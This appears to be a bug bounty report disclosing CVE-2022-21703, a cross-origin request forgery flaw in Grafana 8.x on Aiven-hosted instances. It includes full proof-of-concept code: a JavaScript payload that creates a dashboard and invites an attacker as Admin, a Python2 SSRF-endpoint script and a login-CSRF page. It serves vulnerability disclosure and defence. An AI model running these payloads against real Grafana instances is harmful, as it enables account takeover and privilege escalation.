Lucene search

K
hackeroneAbrahackH1:1458236
HistoryJan 22, 2022 - 7:38 p.m.

Aiven Ltd: 0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .

2022-01-2219:38:08
abrahack
hackerone.com
223

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.005 Low

EPSS

Percentile

73.6%

Disclaimer

To triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest is to let you be aware and safer from any potential attacks in the meantime.

Description

@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) .
With the cross-origin request forgery attack it’s possible for an attacker to successfully mount cross-origin request forgery attack against authenticated victims of other grafana instances hosted on *.aivencloud.com.

Exploitation

So here is the attack story an example user John Doe runs a grafana instance at https://johndoe.aivencloud.com.
An attacker will deploy his own grafana instance at https://attacker.aivencloud.com, this attacker’s instance would host a malicous html file with a javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is logged into https://johndoe.aivencloud.com .

Now thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery attack, the root cause of this is because grafana sets their auth cookie grafana_session to SameSite=Lax; Secure https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/

Attack Chain.

The attack chain is as follows;

  • Attacker would send a link to the victim.
  • When the victim clicks the link, victim will be forced into logging into the attackers grafana instance via login CSRF.
  • User would be redirected to a vulnerable SSRF endpoint on the attackers grafana instance, this endpoint would trigger cross-origin-request-forgery attack (CVE-2022-21703, which is still a 0-Day CVE on Grafana) to the victims grafana instance.
  • Attack is complete, now the CSRF would have triggered the following actions ;
  • force the victim to create a new user on the victims grafana instance.
  • force the victim to create a dashboard

{F1588743}

Requirements.

  • three seperate web browser instances .
  • a http / https file server to host our payloads.
  • python2.
  • pip2.

Steps to Reproduce .

  1. Login into Aiven Console, at https://console.aiven.io, in a new browser instance let’s call it B-1.
  2. On B1, create two new Grafana instance, name the first one attacker and the second victim, wait till it’s up and running.

{F1588761}

  1. Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that page.

{F1588762}

{F1588760}

  1. Add the below advanced configurations;
allow_embedding
cookie_samesite --> none

{F1588759}

Then click the Save advanced configuration button.

  1. Open a new browser instance, call it B-attacker, log into the attacker grafana instance.

{F1588758}

  1. On B-attacker, open up dev tools, then copy & note down the value of your grafana grafana_session cookie .

{F1588757}

  1. Now its time to save our cross-origin-request-forgery payload .
<html>
  <head></head>
  <body>
<h1>cross-origin-request-forgery POC</h1>
<div></div>
&lt;script&gt;

var victim_instance = "&lt;vic_instance&gt;";

function log_status(msg) {
  //status logger.
  let com = document.getElementById('statusdiv')
  com.innerHTML += "<h2>" + msg + "</h2>"
}

function dashboard_poc() {
	log_status("[*] Creating Dashboard")
	var url = `${victim_instance}/api/dashboards/db`
	fetch(url,
		{
			method:"POST",
			mode:"no-cors",
			credentials:"include",
			headers: {
				"Content-Type": "text/plain; application/json"
			},
			body: JSON.stringify(
				{
					"dashboard": {
						"title": "grafana_csrf_0_day"
					}
				}
				)
		})
}

function invite_poc() {
	log_status("[*] Creating User")
	var url = `${victim_instance}/api/org/invites`
	fetch(url,
		{
			method:"POST",
			mode:"no-cors",
			credentials:"include",
			headers: {
				"Content-Type": "text/plain; application/json"
			},
			body: JSON.stringify(
				{
					"name": "attacker",
					"email": "",
					"role": "Admin",
					"sendEmail": false,
					"loginOrEmail": "[email protected]"
				}
				)
		})
}

function finish_up() {
	log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance +"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")
	log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" + victim_instance +"/org/users; you should see one for `attacker`.")
}

log_status("[*] Starting Attack")
dashboard_poc()
invite_poc()
setTimeout(finish_up, 20000);
&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

Replace the above string &lt;vic_instance&gt; to the victims grafana instance url, e.g https://grafana-xmen.aivencloud.com .
Now save the edited payload on yout http(s) server as c-o-payload.html .

{F1588756}

{F1588755}

{F1588754}

  1. Save the below python2 script as create_ssrf_endpont.py.
import requests
import random
import string
import sys

if len(sys.argv) != 4 :
    print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie"' % sys.argv[0]
    sys.exit()

def rand_genarator(length):
    return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))

def create_ssrf(url_, payload_url, cookie):
    url = url_.strip("/") + "/api/datasources"
    cookies = {"redirect_to": "%2F", "grafana_session": cookie}
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json"
        }
    json = {
        "access": "proxy",
        "isDefault": False,
        "name": "Prometheus - " + rand_genarator(7),
        "type": "prometheus",
        "url": payload_url
        }
    res = requests.post(url, headers=headers, cookies=cookies, json=json)
    print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))

create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])

Run the command, pip2 install requests .
Now run the script by running the command, python2 create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-cookie" .
Note the following;

https://attacker-grafana-instance --&gt; this is the attackers grafana instance.
http://cross-origin-payload-url --&gt; this is the url of the payload you saved step 7.
attacker-grafana-instance-cookie -&gt; this is the grafana_session cookie your copied in step 6.

{F1588752}

Now note down the SSRF url, the script outputs.

  1. Now its time to save our cross-origin-request-forgery payload .
&lt;html&gt;
  &lt;head&gt;&lt;/head&gt;
  &lt;body&gt;
<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>
<div></div>
&lt;script&gt;

var attacker_instance = "&lt;att_instance&gt;";
var attacker_instance_username = "avnadmin";
var attacker_instance_password = "&lt;att_password&gt;";
var attacker_csrf_proxy = "&lt;att_ssrf_url&gt;";

var csrf_html = `
  &lt;form enctype="text/plain" action="${attacker_instance}/login" method=POST&gt;
  &lt;input type="text" name='{"user":"${attacker_instance_username}","password":"${attacker_instance_password}","dummy":"' value='"}'&gt;
  &lt;input type="submit"&gt;
  &lt;/form&gt;
  &lt;svg onload=document.forms[0].submit()&gt;
`;

function log_status(msg) {
  //status logger.
  let com = document.getElementById('statusdiv')
  com.innerHTML += "<h2>" + msg + "</h2>"
}

function create_iframe() {
  log_status("[*] Logging victim into our grafana instance");
  var iframe = document.createElement("iframe");
  iframe.hidden = true;
  iframe.srcdoc = csrf_html;
  document.body.appendChild(iframe);
  log_status("[+] Redirecting to our SSRF Payload");
}

function xmen() {
  //redirects to our datasource, where can serve the grafana 0-day.
  window.location = attacker_csrf_proxy;
}

create_iframe()
setTimeout(xmen, 20000);
&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

Replace the below listed strings;

&lt;att_instance&gt; to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .
&lt;att_password&gt; to the password of the attackers grafana instance url, you should see this in the aiven console .
&lt;att_ssrf_url&gt; to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .

Now save the edited payload on yout http(s) server as c-s-login.html .

{F1588753}

{F1588751}

{F1588749}

  1. Open a new browser instance, call it B-victim, log into the victim grafana instance.

{F1588750}

  1. Now open below url, in new tab on B-victim;
http://your_server/c-s-login.html

Note replace your_server with the server ip / hostname, where you saved the payload in step 9.

{F1588748}

{F1588747}

{F1588746}

  1. On B-victim check your dashboard list & users invite list, you will notice a new dashboard was created & a new user was invited.

{F1588745}

{F1588744}

Video POC.

{F1588780}

Impact

Risk

By luring the authenticated Grafana Admin to the malicious page, the attacker
can gain access to your Grafana instance as an Organization Admin.
This privilege escalation would, among other things,
allow him to view/add/edit/remove dashboards and users.

Remediation

As of now there is no official remediation, Grafana are aware of the issue and will ship a fix soon.

It’s highly possible that there will be intrusion attempts against your Grafana instance, for that make sure:

  1. Monitor your Grafana users dashboard to see no new additions
  2. Alert your high priv Grafana administrators to not navigate to unwanted links in the coming days.

References

Conclusion .

With all said , I have to say this to you .

{F1588766}

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.005 Low

EPSS

Percentile

73.6%